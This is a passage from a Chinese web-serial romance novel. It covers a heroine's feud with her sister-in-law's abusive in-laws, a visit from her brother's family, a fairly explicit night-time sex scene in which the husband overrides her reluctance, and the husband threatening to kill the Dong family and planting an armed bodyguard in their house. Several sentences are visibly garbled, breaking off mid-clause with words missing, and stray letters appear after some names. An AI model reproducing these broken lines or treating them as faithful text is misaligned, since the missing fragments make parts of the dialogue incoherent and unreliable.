每次他察觉她来了脾气,就会柔声细语,甚至能跪在她面前求他。
她以前信董贾是真喜爱她,不然不会对她下跪,不会为了哄她给她洗脚,但同样的事重复太多遍后,她只觉得董贾比常人聪明,他知道一时服软就能换来她时时退让,所以才这般对她。
如今她已经不想再去想什么后悔,只想安安稳稳地把这辈子过完。
“今日来的人应该是镇使夫人派来,不然好端端的,怎么会有人给四郎设陷阱,往后别去萧府了,镇使夫人不是好相与的。”
为了让董贾放弃,萧柔对宓瑶用了敬称。
“是她!这个毒妇竟然坏成这样,你阿弟怎么娶了那么一个女人!”
萧柔提醒,董贾此时回过味来,想到自己是被萧府人打的,浑身更痛得厉害。
他本来还想靠着卖惨,明日让宓瑶对他们怜悯几分,听到自己被打是宓瑶意思,哪里还敢去萧府。
但人怕了,心还是不甘。
“要不柔儿L你去报官,说虞女不尊重你这个姑子,还对你动手。”
“我去报官无事,但等到萧镇使回来,他不会对我如何,你却少不得被他再打一顿。”
若是平时面对董贾这些没有道理的话她会选择沉默,但经过了方才,想到在喜房时对她柔和微笑的弟媳,因为嫌她打扰,让人砸了董家。
浓得化不开的羞愧笼罩了她。
让她只想让董贾早早放弃这些念头吗,哪怕是多骂她两句给她几个白眼,也别再让她去萧府大门站着。
被萧柔那么一提醒,董贾想起萧欻宛如煞神的手段,打了一个哆嗦。
只是他这个放弃并没有放弃两天。
因为他怕了吴夫人却没有怕,反而觉得这是个让所有人晓得宓瑶难缠不讲理的好机会,她又许了董贾银子,逼着他再去萧府捣乱。
而这次宓瑶的回击更为直接,她让人把董贾绑了扔到吴府大门,再派了几人在吴府门口轮番喊屈。
至于喊屈的内容,宓瑶选了个最能让吴夫人*生气的。
让他们广而告之吴夫人嫉妒她的美貌,私底下各种想阴招使坏,拼命坏她名声。
不管吴府的人出来如何解释轰人,去喊门的人只当耳朵聋了不听解释,只是一遍遍的重复着宓瑶嘱咐的台词。
八个人两个两个的喊,谁嗓子累了就换新人。
一时间吴府大门成了益州城最热闹的地方。
只能说软的怕硬的,硬的怕横的。
宓瑶充分给吴家人展示了,那天在节度使府她的发挥是收敛过后成果,而不是超常发挥。
吴立平收到信匆匆赶回府邸,想学宓瑶抓人扔到萧府门口,但濮青等人早在暗处看着,见到吴家要动手,立刻掩护萧府下人融入人群中溜走。
一时间人群乱作一团,不少看热闹的人受到无妄之灾,被吴家人推倒骂声响成一片。
虽然起了波折,但能把乱叫的人赶走也是好事,吴立平心口的气才松下来,刚想张嘴澄清误会,就听到急促的马蹄声由远至近。
瞪眼看去,一身玄黑衣袍的萧欻高坐马上,薄唇紧抿,冷峻的五官孤傲英俊,他不需开口言语,嘈杂的人群就因为他散发的戾气而纷纷安静。
一片寂静中萧欻下马,把被捆成一团扔在吴府大门的董贾提起,踏进吴府大门前,他扫了眼在边上无措站着的萧柔,冷声道:“你也进来。”
*
听到萧欻直接去了吴府,宓瑶惊讶了一瞬。
她以为按着他往常的德性,会避开跟萧柔的碰面,没想到这次会那么直接面对问题,而且看样子面对问题的方式跟她一样简单粗暴,不打算给对方留颜面。
话说回来他这该不会是跟她学的吧?
她是因为没什么往上爬的想法,而且天塌下来有他顶着,她才无所谓跟别人结仇,他一个要当霸主做事那么莽合适吗?
一时间她不由开始担忧萧欻这个长期饭票是否靠谱,并且开始回想书里面还有什么不错角色,以供她之后换人。
不过宓瑶想了一下就放下了,换人太麻烦不适合她,她还是盼点萧欻好的吧。
萧欻与虞少阳一家一同到的益州城外,萧欻因为晓得吴府生事先走一步,等到送信的人与她说了萧欻去了吴府,她又等了片刻,虞少阳与他妻子甄氏的马车才停在萧府大门。
马车刚停稳,还没等宓瑶迎上去,虞少阳就下了马车,快步走到了她的面前。
虞少阳按着宓瑶的肩,把她从头到尾,又从尾到头的看了一遍。
最后勉强道:“瘦了。”
听到这话,宓瑶噗呲一笑:“晓得阿兄关心我,但也不能睁眼说瞎话,你忘了你上次回家看我,还要我多吃,说我瘦的如同一张薄纸,风稍微一大就怕我被吹跑了。”
原主以往就喜欢别人夸她清瘦,觉得那般才是美。
而她不同,她不喜欢一摸自己就是摸到一把骨头,再者她也做不到原主那样,宁愿饿到昏倒也忍着不吃食物。
她现在比虞少阳上次见原主少说了胖了两圈,除此之外人还长高了丁点。
“这边的水土更养你。”
虞少阳原本想挑刺,但瞧着妹妹脸上盈盈的笑意,叹了口气,“你这婚事嫁的不错。”
当初虞家家主把宓瑶许配给萧欻是瞒着他的,等他知道的时候,两边已经纳吉请期,他给他爹与虞家家主去了许多封信都没有阻止成功。
收到宓瑶安抚的信件,他还以为她是不想他担心而安慰他,如今亲眼看到她,他就确定他从她信上感觉到的那些自在轻松不是错觉。
他的妹妹嫁给萧欻这个莽夫后,过得比在虞府快活多了。
“这是大郎二郎,还有善儿L,琇儿L也在这。”
宓瑶目光扫见几个萝卜头一脸紧绷,在等着给虞少阳问安的机会,怕他们憋死,帮他们开口道,“都自个跟舅舅说自个叫什么。”
嘱咐了一句,宓瑶见车上的帘子掀开,迎上前道:“嫂子安好,这一路上辛苦了。”
坐在马车里的妇人梳了一个半翻髻,头上简单带了支鎏金镶百合金钗,气色红润皮肤白皙,下颌与手都带了柔和的圆润,打压瞧着就觉得是个好相与的人。
见甄婧要下车,宓瑶连忙拦道:“嫂子有了身孕,还是坐在车上,等进了府再下来走动。”
听到宓瑶提起身孕,甄婧下意识摸了摸自己的肚子,笑道:“我下来走动没事,已经满了三个月,我这胎坐得稳,大夫每次给我请平安脉,都说我的怀相好。”
甄婧说着见虞少阳走过来,瞥了他一眼,又继续对宓瑶道:“没想到你阿兄与你说了,他自个还千交代万嘱咐,说没怀三个月,不能告诉任何人,也不知道他是从哪听到的规矩。”
“哪里都有这个规矩,嫮嫮不是外人,我才偷偷告诉她。”
虞少阳冲宓瑶眨了眨眼,一副看哥哥对你多好的模样。
宓瑶捧场地乐了乐:“晓得阿兄对我好,咱们进去说罢,别吹坏了我那么好的阿兄。”
大门的门槛卸了方便马车进府,虞少阳边走边看萧府的摆置:“这府邸倒是清雅。”
“这些都是阿娘做的,舅舅你看是不是很美?”
萧良指着与他们距离不远的瓶花,兴奋地朝虞少阳说道。
“我妹妹做的布置自然野趣自然,美不胜收。”
瞧不惯萧良骄傲炫耀的模样,虞少阳开口更为自豪,但说完看到萧良朝他笑的天真无邪,萧善站一旁背着手认真点头,他就觉得自个跟小孩计较太过傻气。
把甄婧送到了住处休息,没了旁人,虞少阳面对宓瑶就皱起了眉:“府里孩子多了就是闹腾,你与这几个孩子相处如何?他们省不省事?”
原先他看不上萧欻草莽的身份,后面知道了他有三个孩子更是震怒。
哪怕这三个孩子不是他亲生,但哪有一来就有三个养子女。
“阿兄不喜欢他们?我怎么觉着善儿L仰头看你时,你都想俯身抱她了。”
对上妹妹含笑揶揄的眼眸,虞少阳再次感叹自个妹妹变了许多。
他自小在外求学,与妹妹相处的日子并不多,好不容易见面了,因为性别妨碍与年纪的界限也说不了几句话。
以往他跟她通信,大多都是他在问,她简略地回他几句。
等她嫁到益州后两人的通信才有了些变化,信上会给他写一些有趣的小事。
“三个孩子看着都是乖顺的模样,只是萧小娘子长得再讨喜,也越不过我们虞家的嫮嫮。”
虞少阳义正词严,“若是嫮嫮不喜他们,我管他们是不是不知事的无辜小儿L,我才不会给他们好脸。”
触到虞少阳与自己有几分相似的五官流露出绝对的偏爱,宓瑶怔了下。
她与虞少阳热络,是因为他是她的靠山,她不介意给他几分情绪价值稳定关系。
而此刻她是真觉得有个哥哥不错。
她上一世与这一世都是第一次体会到,来自于亲人不计较得失的喜爱与偏向。
第39章 第三十九章【VIP】
“阿兄放心,我不是会委屈自己的人。”
宓瑶说道,“今日发生在吴府的热闹,不晓得阿兄你有没有听闻,若是阿兄知晓了就该知道你家嫮嫮有多不好欺负。”
“还没进城门萧欻的属下就朝他禀报了吴家夫妻难缠,利用萧欻贪财的姐夫生事。”
因为怕他们不放心,萧欻先走之前,把禀报的属下留了下来给他们解释始末,所以虞少阳知道宓瑶指的热闹是什么。
说起这个,虞少阳不忘提醒妹妹:“虽然萧欻听了这事就立马前去解决,但嫮嫮你也别觉得他太好,毕竟这事说到底都是他惹出来的,若不是他求娶你,你也不会嫁到益州,遇到那个小心眼的吴夫人,还因他不是一个满是破绽的亲姐夫,也不会给你带来困扰。”
反正千错万错都是旁人的错,萧欻处理的再好,也只是有一丁点好。
宓瑶很赞同虞少阳的逻辑,听他说完连连点头。
见状,虞少阳先是高兴妹妹听话,但转念一想,又怕自个说得过了,破坏妹妹与妹夫的感情。
妹妹要是跟萧欻感情差,也不会对萧欻的三个孩子相处的亲近和善。
一时间虞少阳面上被复杂别扭的神情占领。
“你嫁这人还是有几分好。”
宓瑶眨了眨眼,不解虞少阳挑萧欻毛病挑的正顺嘴,怎么就夸了起来:“阿兄说的几分好,具体是哪几分?”
虞少阳不知道宓瑶这是真疑惑,还以为她是与萧欻感情好,故意要听他夸萧欻。
面上的复杂变成了不满,但虞少阳还是道:“我原本觉着他是靠蛮力与运气得了一官半职,但他人还算上进,这一路我与他交谈他都算言之有物,每日除去办差处理公务,便是在看兵书,看也不是瞎看还是真学习进了脑子,若非他出身寻常,名声何止现在。”
闻言,宓瑶解开一个谜题,所以她几次撞见萧欻拿着书在看,是真在看东西,她还以为他与她一样在看闲书。
男人看男人与女人看男人的方向不同,虞少阳这几日带着挑剔的态度审视萧欻,都觉得他算是个靠谱男人。
再者最重要的是萧欻体格健壮,相貌英俊。
要生活一辈子的人,若是蠢还能忍受,毕竟这世上聪明人少蠢人多,但要是丑的不堪入目,那就是灾难了。
听到虞少阳这番说法,宓瑶深以为然。
试想萧欻要是络腮胡眯眯眼,她不觉得她一见着他就能撒娇卖嗲,哪怕是想当娇妻,她都会换个路数讨好萧欻。
所以说萧欻能得到美人的温柔小意,得感谢他父母给了他张好脸。
宓瑶与虞少阳聊了半晌,大概是因为探究了太久萧欻的长相,晚上宓瑶就做了一个梦。
梦里头的萧欻变成了眯眯眼大胡子,还丑而不自知,站在她的面前一手压在她身后的红墙,邪魅狂狷地逼近她:“我这般的美男子与你欢愉是你荣幸,你再推三阻四,我就把雨露播撒给其他听话的女子。”
宓瑶被大胡子上黏着的米粒吓醒,醒来后下意识去看旁边的萧欻,这一看就看了空。
目光搜寻,靠着屋角的夜烛宓瑶发现了坐在桌前的萧欻。
昏黄的烛火只是驱离了小片的暗色,让摇曳的阴影分成了好几种黑。
萧欻高大的身影坐在其中,没有被光亮笼罩,反而身上镀了浓郁的幽暗。
灯影憧憧,宓瑶不确定现在是不是自己的另一个噩梦,她用力地瞪着眼睛去看萧欻,终于看清了他晦暗的神色。
一触到他散发的阴鸷宓瑶就觉得不好,可惜她视线还没转开就被他抓个正着。
视线相对,宓瑶揉了揉眼睛,困倦道:“郎君起夜?”
萧欻应了声,没有继续坐着,而是回到了床上躺下。
扑面而来的凉气让宓瑶抱着被子往旁边移了移,也不知道萧欻怎么能那么抗冻,大半夜穿着中衣在被窝外面思考人生。
这个插曲没影响宓瑶的睡眠,她闭上眼打算继续酝酿睡眠,只是头刚开始有点发沉,就听到萧欻开口说话。
“嗯?”
半梦半醒的宓瑶被突如其来的声音惊的晃神,手放在了心口,委屈巴巴地看着萧欻。
可惜旁边这玩意一如往常的不懂怜香惜玉,没看出她现在这模样不适合与他深夜畅谈人生,冷声重复了他刚刚的问题。
“若换做你,
萧欻说的没头没尾,但触到他紧绷的下颌,。
为了能好好睡觉,宓瑶快刀斩麻道:“我换做是你,还是我换做是阿姐,若是你的话,我会先寻个,然后想个能让他们永远老实的法子,免子烦人,至于我若是阿姐,那我就换不了,我的性子郎君是晓得的,我哪会
她是萧柔的话,就女,也不会去旁人家当长工,假如中的假如她真惨到被骗成了董家人。
她也会抓住弟弟发达后可以重新选择的机会。
反正怎么她都不会像现在的萧柔一样。
说是纯傻看起有跟董家人不一样,有廉耻自尊,但若是说聪明,还是把自个当董家人在行事。
这般的人看着可怜但细想都是自作自受。
命运能不能改变只看她有没有一个想对她好的弟弟了。
宓瑶打了个哈欠:“说句实话,我这人虽然懒但遇着什么事了还是会解决,这般才好继续懒着,但是郎君你对待这些杂事,看似冷酷无情,但实际是上就像是手足无措,不知道怎么处理,所以干脆避开。”
“你是说我不如你?”
对上萧欻沉黑的眼眸,宓瑶倏然意识到自个脑子困坏说多了。
哪个大男主愿意被人说手足无措,是逃避型人格。
“萧郎当然比我厉害了,我可没办法领兵打仗,让敌军听到我的名字就退避三舍。再说郎君才不是避开,而是不愿理会琐事,萧郎是干大事的人,跟寻常的男人可不一样。”
宓瑶隔着软衾靠在了萧欻胸膛,轻轻柔柔地说道,“我只是睡迷糊了胡乱说说,萧郎别放在心上。”
“你癸水走了?”
咦,话题怎么就到这来了?
宓瑶眼眸高频率地眨动,还没等她变成扑棱蛾子飞走,下颌已经被萧欻挑了起来。
目光对视,萧欻的褐眸依然幽深阴鸷,但眼底一丝别样的意味。
看明白了自个难逃一劫,宓瑶努力挣扎了一下:“我若说今夜太晚了,我疲惫所以葵水还在,郎君信吗?”
听她自个意思,他就晓得是已经没了。
俯身在她脖颈啃了一口:“那便闭嘴睡觉。”
这算是什么恶人先告状,到底是谁先张开的嘴巴说话。
宓瑶懒得与他争论对错,真躺好了闭上眼睛准备睡觉,只是片刻她又无奈地睁开眼睛,看向趴在她身上,啃过她以后就没从她脖颈移开的脑袋。
“不是说睡觉了?”
啃咬变成了舔吻,他灼热濡湿的舌尖在她的肌肤上滑动游走,她要怎么睡觉。
“唔,”
萧欻抓住了她推拒的双手,抬高举过头顶,开始往柔软处亲吻,“你身上香是不是熏了媚/香?”
离他产生这个疑问已经过去许久,但嗅着她身上如奶香似脂粉甜香味道,他浑身滚烫,还是把这个疑问问出了口。
听到萧欻的问题,宓瑶怔了怔才反应过来他是什么意思。
“郎君做人不能太坏太没有道理,你自个贪色忍性不好,这也能怪上我的熏香……”
宓瑶话的尾音还未落,就因为萧欻的手指轻呼了一声。
萧欻也晓得自己的问话没有道理,但被宓瑶点破,他不觉羞耻,反倒有种既然我是如此,那便任由心性尽情放纵的松弛。
见萧欻兴致昂扬地埋头苦干,宓瑶这会觉完全醒了,但她依然不想配合他。
“郎君我困。”
“你躺着不动就成。”
“……那般郎君不会觉得无趣?”
萧欻盯着她已经开始水雾朦胧的眸子,轻笑了声:“怕我无趣,那你就多动了动。”
说完,宓瑶就感觉到自己腿升高,看过去一只脚已经架在了他的肩上。
宓瑶:……
接下来的一切都给宓瑶上了一课,让她明白不要关心深夜里的忧郁男人,不管他想的是苦的闷的最后都能变成荤的。
唯一的收获大概是她确定了那块膜已经没了,中途她感到不适想要推阻,萧欻掰着她的头往下一看:“已经快吞完了。”
低哑的嗓音犹如春风拂过,这意气扬扬的模样哪里像半个时辰前还在搞自闭。
宓瑶做了噩梦中途醒来,以为这一醒只是夜间的一个插曲,谁想到这一醒会到了天亮才重新睡下。
等她再醒正好赶上了吃晌午饭。
瞧见所有人都在,把用食的小厅坐的满满当当,宓瑶一时有些不适应。
“郎君今个没事?”
“咳。”
萧欻还没回答,就听到虞少阳重重咳了一声,宓瑶瞧向他:“益州的水土真养人,阿兄才来一日就又俊美了不少,嫂子看着也更美了。”
听妹妹夸赞,虞少阳脸上绽开了花:“这地的确不错。今早我与妹婿去见了赵公,领了我的差事,而后见时辰还早便一同回来用午膳。”
宓瑶的问话被虞少阳抢了,萧欻便只是点了个头。
“娘亲,唔想要一起睡!”
宓瑶一坐下,萧善就下凳钻到了她的身边,瘪着嘴巴不高兴地抱着她的胳膊撒娇。
在萧善努力表达的过程中,在坐的所有人都晓得她在指责萧欻小气,不许她进正房。
“他扔扔唔!”
萧善指向萧欻,痛诉她今早偷偷钻进正房,还没爬上榻就被萧欻扔出了房门。
“你母亲在睡觉,你留下会吵到她。”
萧欻淡淡解释了一句,说完看向宓瑶,看出了萧欻眼中的求救意味,宓瑶撇开了视线,她巴不得萧善能帮她骂几声昨夜欺压她的坏人,怎么可能帮他解围。
“坏!阿爹坏!”
“善儿别说阿爹,阿爹是生了病才能跟阿娘一起睡的。”
因为有舅舅与舅母在,萧良不想让他们误会自个阿爹不好,帮忙阻止妹妹道。
“生病?生什么病?”
虞少阳看了眼魁梧奇伟的萧欻,难不成是外强中干?
萧良觉得说阿爹生什么病不好,但见舅舅与舅母都看着他,等着他的答案,他眉毛纠成了一团。
在他还在犹豫时,听到了阿娘也问了声什么病,才开口道:“阿爹没有鸟鸟。”
虽然年岁还小,但萧良隐约明白这事对男子不光彩,所以他压低了声音,小小声地向全桌人公开了这个秘密。
宓瑶还想萧欻能有什么病呢,听到萧良的话,看了眼某个位置。
昨夜她肯定他是有的,如果今后他能没有,那可是值得敲锣打鼓庆祝的一件好事。
桌上反应最大的就是虞少阳,他噗地笑出了声,被甄婧提醒才神情严肃起来:“二郎,这样的话往后别出去说。”
萧良点头,他刚刚说出来就后悔了,不该说阿爹的秘密。
想着他偷偷瞄了阿爹一眼,见阿爹神色平静,没有发怒的意思才松了一口气。
等到用完饭,萧欻出门办事,虞少阳去跟几个孩子散步,屋中只剩宓瑶跟甄婧两人,甄婧感叹道:“没想到萧镇使人看着冷情,脾气却那么好,不计较孩子的童言童语。”
原本她见萧欻高大威猛,不苟言笑,还以为他是那种讲规矩保持绝对权威严厉肃穆的人,但现在看来人与外表不同,是个好相与的。
除却感叹萧欻的脾气,甄婧还震惊于宓瑶性子的变化。
她原不想来益州,不是怕到陌生的地界不适应,而是有些怕宓瑶这个小姑子。
虞少阳觉得宓瑶千好万好,但她逢年过节去虞家暂住,最大的感觉就是小姑子不好相与。
与宓瑶打交道就必须得让着她,捧着她,发自内心地觉得她极美极有才华。
而这回见面她能感觉宓瑶变了许多,若说她现在不喜欢让人捧着了也不像,反正那种只在乎自个的感觉还在,但却让人跟她相处起来没那么度日如年。
就是这样她才起了与她多聊聊的心思。
“若是真没有才要计较,他当做听不见,自是因为他觉得自个不只是有,还是很有。”
想着自个快天亮才睡觉的苦楚,宓瑶直接皱着鼻子道。
听到宓瑶那么直接,甄婧好奇不已,但有不好开口往下问,只能道:“嫮嫮与萧镇使的感情真好。”
“嫂子跟兄长感情难道不好?我分明瞧见兄长说什么话,嫂子都会忍不住瞧着他笑。”
她跟萧欻的关系旁人怎么品她不知道,但虞少阳跟甄婧的感情是肉眼可见的好。
甄婧眼中只有虞少阳,而虞少阳也差不离多少,一见着有台阶就下意识的去扶甄婧,生怕甄婧摔了。
餐桌上也是主动地给甄婧布菜,免去甄婧伸胳膊的麻烦。
“嫮嫮你别拿我取笑,我都不晓得我会这样。”
甄婧含羞地拍了拍宓瑶,闲谈了两句,甄婧想到虞少阳交代的话,收起了脸上的害羞,认真地朝宓瑶道:“有些事你哥担忧你,却碍于男女有别不好问,所以他就托我问你。”
“哥哥担忧我什么?”
触到甄婧脸上的认真,宓瑶回想了她昨日跟虞少阳聊的那半个时辰,他们还有什么没谈到的?
“他听府中仆人说你每日都差不多是这个晌午醒来,怕妹夫欺负了你,毕竟妹夫人高马大,又是武官。”
什么没有鸟鸟,虞少阳因为在驿站与萧欻一同去过茅厕根本就没信。
甄婧想到虞少阳连萧欻小解时辰长都拿出来说,就觉得无语。
他言之凿凿地说萧欻肾好不是良配,听得她一脑子疑问,肾好的不是良配,那肾差的就是了?
她本来对他们之间的夫妻敦伦十分满意,因为他的话让她觉得是不是因为她没见识过好的,才觉得自己相公不错,实际上虞少阳相比其他男人差了许多。
当然这话她只敢在心里想想,她夫君觉着她是不知世事,善良温柔的大家闺秀,若是她因为他的一句话联想到他脐下三寸,他怕是得吓死。
听到虞少阳忧心的问题,宓瑶脸色怪异不知道该如何去接。
该怎么说,她这个哥哥还真是好,宁愿觉得萧欻是禽兽,也不愿意承认自个妹妹是个每天都要睡到晌午的懒鬼。
虽然好奇她若是说她晚起的原因是因为萧欻,虞少阳会如何教训萧欻,但想着他们兄妹俩未来都要在萧欻的手下讨生活,她还是实话实道:“只是我爱睡觉罢了。”
“只是这般?”
甄婧不信地看向宓瑶,她记得在虞家时宓瑶没那么贪睡,每日还早起去给虞老夫人请安。
“就只是这般,在家时没有办法,不得不早起,到了萧府上头没有长辈,下头的孩子还小也不会管我,我就放纵自个想怎么睡就怎么睡。”
听着甄婧再一次感叹了宓瑶跟萧欻的感情不错。
若是旁人家,就是上头没有长辈,断然也不会妻子睡到晌午,夫君不出言制止,还习以为常。
那么一想,她又不禁想起了自个跟虞少阳,原本觉得虞少阳对她极好,但那么比较起来,又觉得他差劲了。
等到有机会她也得试试他,容不容得她贪睡。
宓瑶不晓得萧欻对她的态度还成了标杆,若是她知道甄婧觉得萧欻好到要让虞少阳学习,少不得说她越走越偏,好日子过多了想受苦。
第40章 第四十章【VIP】
昨日萧欻去了吴家,还未开口审董贾,吴立平就自个把夫人曾氏叫到萧欻面前做戏骂了一顿。
晓得吴立平是心中对他有怨,却不愿与他彻底撕破脸。
顾及着两人同为父君养子,再者就是要教训吴立平现在也不是合适的机会,萧欻便收起了他进门时的肃杀,没有追究到底。
吴立平认怂,董贾夫妻就成了无用的人。
萧欻连看都没有多看两人一眼,抬步离开了吴府。
若是没有夜间中途的醒来,以及宓瑶那几句暗指他优柔寡断的话,他怕是这辈子都不会踏入董家院门。
萧欻骑了马,进入董贾居住的胡同的时引起了不少注目。
“董贾日日说他是萧镇使的姐夫,说萧镇使迟早要助董家富贵,本以为他是在白日做梦,如今看来不会真让他如意,把萧镇使叫来了吧?”
“那可不一定,你们忘了昨日董贾被镇使夫人绑了扔到吴家门口,我看萧镇使这是来为夫人出气,不是来给董家撑什么腰。”
若是萧欻是来给董家撑腰,那可得把他们呕死。
往日董家打着萧欻的招牌就已经够不可一世,若是他们真得了萧欻的看重,这胡同都得姓董了。
众人一边低声讨论,一边都离了董家远一些。
上一次几个壮汉到董家砸家什,他们毫不避讳地凑在董家门口看热闹,但来人换做了萧欻,只能说有些人天生带着让人惧怕的威势。
萧欻高坐马上,眼风都未朝他们扫过,但偏偏就让他们不敢直视。
拿萧欻扯虎皮的董家人与这些人差不多,平日提起萧欻叫的亲切,真见到他人,董老娘傻了傻,瞧着萧欻脸上的冷凝就觉得他是来杀人的。
她往后退了几步,才结结巴巴道:“柔娘在屋里,我这就去把人给你叫来。”
萧柔正在厨房清洗碗筷,听到萧欻来了,她第一反应就是不信。
但看到董老娘惊慌失措的样子,她生出了一丝希冀。
“见到你弟弟后好好说话,你看看大郎都成什么样了!若是你争气,大郎昨日也不会教人欺辱,现在吓到连床都下不了。”
董老娘缓过神立刻嘱咐萧柔抓紧机会,“你看看我们一家子人都挤在这个小院子里多窝囊,你得让你弟弟多提拔大郎一郎三郎四郎,别光想着自个,夫家好了你才能好。”
萧柔急着见萧欻,董老娘说什么她都点头,董老娘看出了她心不在焉,想到有了萧欻,家中又要捧她一阵,不满地扯下了她身上的围裙:“脑子放灵敏些,别再惹恼你弟弟,连累我们受罪。”
“我晓得的。”
萧柔用力点了点头,终于被董老娘放出了厨房。
董家不大,萧柔从厨房出来就看到院子里萧欻的身影,她步子越迈越慢,在萧欻面前停下后,呐呐唤了声:“阿欻……”
萧柔过来之前,萧欻在打量董家的宅子。
他之前来抓萧柔时没认真看过这个地方,如今看来这个地方残破老旧,比起萧家的老宅并没有强到哪里去。
看向萧柔身上陈旧的袄子,他记得他这个姐姐最为爱俏,虽然没有宓瑶夸张,但逢年过节都要做一套新衣裳,便宜的绢花更是各色的都有。
而她现在身上没一点鲜妍的颜色,头发全由一张褐色的棉布拢了起来。
“喜欢这般的日子吗?”
萧欻看了她片刻,淡声问道。
声调虽没有情绪的起伏,但却隐隐透着居高临下的姿态,因为他这句话,萧柔喉咙里那句请他去屋里坐话卡在了嘴里。
萧柔抿了抿唇:“你来就是问这个?是你媳妇让你来的?”
这些年萧欻从未主动与她说一句话,见到她了也当视而不见。
董老娘觉得他是来帮扶她,但她想到宓瑶的手段,只觉得他是来为宓瑶出头。
萧欻没否认也没承认,只是道:“我问她,若是她换做你,她会如何做,她说她无论如何都不会落到你这一步。”
萧柔脸色涨红,她没想过萧欻和宓瑶会在私底下提她,而且还把她说的如此不堪。
“她还与我说,她若是换做我,不会像我这般优柔寡断。”
萧欻接着道,“所以萧柔,我以前给了你一条路,如今我给你两条路。”
“一你与董家一齐离开益州,只要我活一天你们便不能踏入益州半步,一我给你一个人,你别活的如此窝囊。”
萧欻话落音,点了点旁边站着的女子。
若是萧欻没指,萧人。
墙角的女子看起来一十多岁,身材高大,皮肤比男子还黝黑,一看就不是寻常的娘子。
你,她便听你的话,你让她打死董家人,她也不会有丝毫的留手,但若是你没胆子指挥,她就是董家的贵客,你。”
话说完寂静像是没人的屋子传来倒吸凉气的声响。
萧柔愣了愣,她本以为萧欻会如以前一样,提出带她离开,谁想到他给她的两
她之前还想着若是萧欻再提让她离开董家,她要如何说自己的委屈与处境拒绝他,现在他压根不提,她心中没有轻松,反而有种说不清是失落还是什么情绪萦绕。
“人,你凭什么赶我们离益州!”
董老娘对萧欻提的两个选择都不满,见几个儿子缩着敢怒不敢言,她冲出门吼道。
“凭我是官,凭我现在就能杀了你。”
相比与董老娘的暴怒,萧欻依然语调淡淡,只是其中的煞气,让董老娘一屁股坐在了地上。
“杀你一人,大约要被罚三天禁闭,但若是杀你们一家,我少不得要降官两职,你们留在益州,我哪日心情不好,迟早会杀了你们,你董家被灭门是小,我的官位可不能拿来说笑。”
萧欻见董老娘颤抖,扯了扯嘴角,实在不明白这种一句话便能吓住的孬货,与屋中那些还不如这个孬货的人是如何把萧柔欺负成了这般。
瞥了眼萧柔碰水碰到发白起皮的手,萧欻开口:“萧柔这便是你想要的生活?伺候一家与你不同姓的老小。”
萧柔因为萧欻的讥讽泪流满面。
她刚与董贾好的时候,董贾什么都给她买,与她说了许多甜言蜜语,再加上董家是城里的人家,她受了他的蛊惑,便真的与他私奔。
“我那时想过董家比我们家有银子,若是我嫁给了董贾,往后也能给娘补贴些。”
谁知道董家虽然是城里人,但兄弟姊妹不少,全家守着一个小小的酱油铺子过活。
董老娘还不好相与,她没名没分地进了董家,作为长媳要照顾全董家人的饮食起居。
刚开始时娘找过她,但因为她那时正跟董贾情浓,加上董老娘怕她离开变了态度,她就拒了回萧家。
之后这条路越走越偏,她自己也不知道自己怎么就成了现在这副模样。
“你刚成为将军时他们对我还好,捧着我,见你不理会我,他们才变回原样,让我做家中所有的事情,还骂我不能生……”
萧柔边哭边絮叨她这些年的委屈,自她几年前小产后就没再有过身孕,大夫也说她往后怕是不能生了。
一个不能生育的女子,她不知她不留在董家还能去哪。
“你与我说这些是怨我对你视而不见,害的董家人不对你做戏?”
“我不是……”
萧欻出声打断了她:“两条路,要留还是要走。”
“大娘子,虽然这地破烂,但我想享受当大爷的滋味,你还是留下吧,这一家人都不够我几拳,往后我们当主子,让他们伺候我们。”
站在院角的齐娘咧嘴露出一口白牙,笑*眯眯地朝萧柔说道,“他们家那么多人,平日就留这个老婆子伺候我们饮食起居,其他人全赶出去做活,让他们赚银子给我们花。”
齐娘说的事萧柔从未想过,若是她真这般当人儿媳旁人知晓不得指着她鼻子骂?
但见董老娘现在都还被萧欻吓得坐在地上不敢站起,一屋子的人听到齐娘的话屁都不敢放,她忍不住开始幻想齐娘说的生活。
“非要选的话,我不愿意离开益州。”
说完萧柔见萧欻要走,掐着手心问道,“……往后我能去萧府看望良儿与善儿吗?”
既然萧欻留了人在董家,那是不是说明他已经消气,又把她当回了亲人?
“往后我们依然不必见面。”
萧欻见萧柔脸上的希冀消散,不觉她是真想念萧良萧善,而是相比给她权利,让她在董家作威作福,她更想他做她的后盾,让董家自动自发地哄着她。
可惜她愿意当个软弱的蠢人,他却不愿意被从臭虫吸附在身上。
“是虞氏看不上我,不让你……”
萧柔一脸窘迫与委屈,若不是萧欻从未听过宓瑶主动提过萧柔,光看她的样子,还真会误以为宓瑶对她做过什么。
“与她有什么关系?你难不成忘了没有她之前,我早就言明我与你不再有什么关联。”
萧欻原本不想多说,但知道不说清楚,萧柔永远觉得错的是旁人。
他开口道:“娘还在时,你怨她对你太凶,太苛刻,所以你不得已跟董贾私奔,到了董家你怨董家老娘强势,害的你吃苦,如今你又恨上了虞氏,觉得我受她蛊惑,对你苛责。”
“萧柔你想错了,我厌你是因为你眼光与脑子都有病,先是看上了董贾,而后又为了不值钱的自尊,死磕在董家,让娘的病体再加一层忧虑。我不管你是觉着自个选错了一次就不能回头,还是自我感动觉着留在董家是给我省事,我不会收回我曾经说过话,你既认你自己嫁给董贾生死都是董家的人,你便与萧家与我再也没有任何关系。”
萧欻说完既走,没有去看萧柔满脸的泪水。
见主子走了,齐娘胳膊一甩,挎着刀就踹开了董家的房门:“让我瞧瞧哪间屋子最好,往后我也能当上大爷了!”
齐娘选中了董四郎的屋子。
这一家子就供了董四郎一个书生,屋子干干净净,还放了书桌与笔墨纸砚。
不过她不识得几个字不需要这些东西。
抬起多余的东西她就往外扔。
董家前段时间才被砸了一次,这些物件都是用吴夫人的银子重新添置的。
看到东西被齐娘砸坏,董四郎心疼地哇哇直叫:“娘,你快拦住她,她把我屋子占了,我往后睡哪里,还怎么看书考功名。”
董老娘看到花银子买的东西被扔到地上成了碎片,也气的呕血,但想到萧欻说杀她就跟捏死一只蚂蚁一样。
再加上齐娘腰间的佩刀,她就是再恨也不敢上前阻止,只能推搡萧柔让萧柔去拦。
“你这个丧门星要把我们董家害成什么样才够!你快去拦住她,她是你弟弟给你的下人,她听你的!”
“大嫂快拦她,她耽误了我的前程,难不成大嫂能给我官当。”
董家人都在催促萧柔,她没办法只能上前拦在齐娘的面前。
“你回去吧,你也听我弟弟说了,他恨我,他不认我这个姐姐。”
萧柔说着又哽咽了起来,觉得萧欻还不如不来,她听到亲弟弟把她说得如此不堪,还不如死了算了。
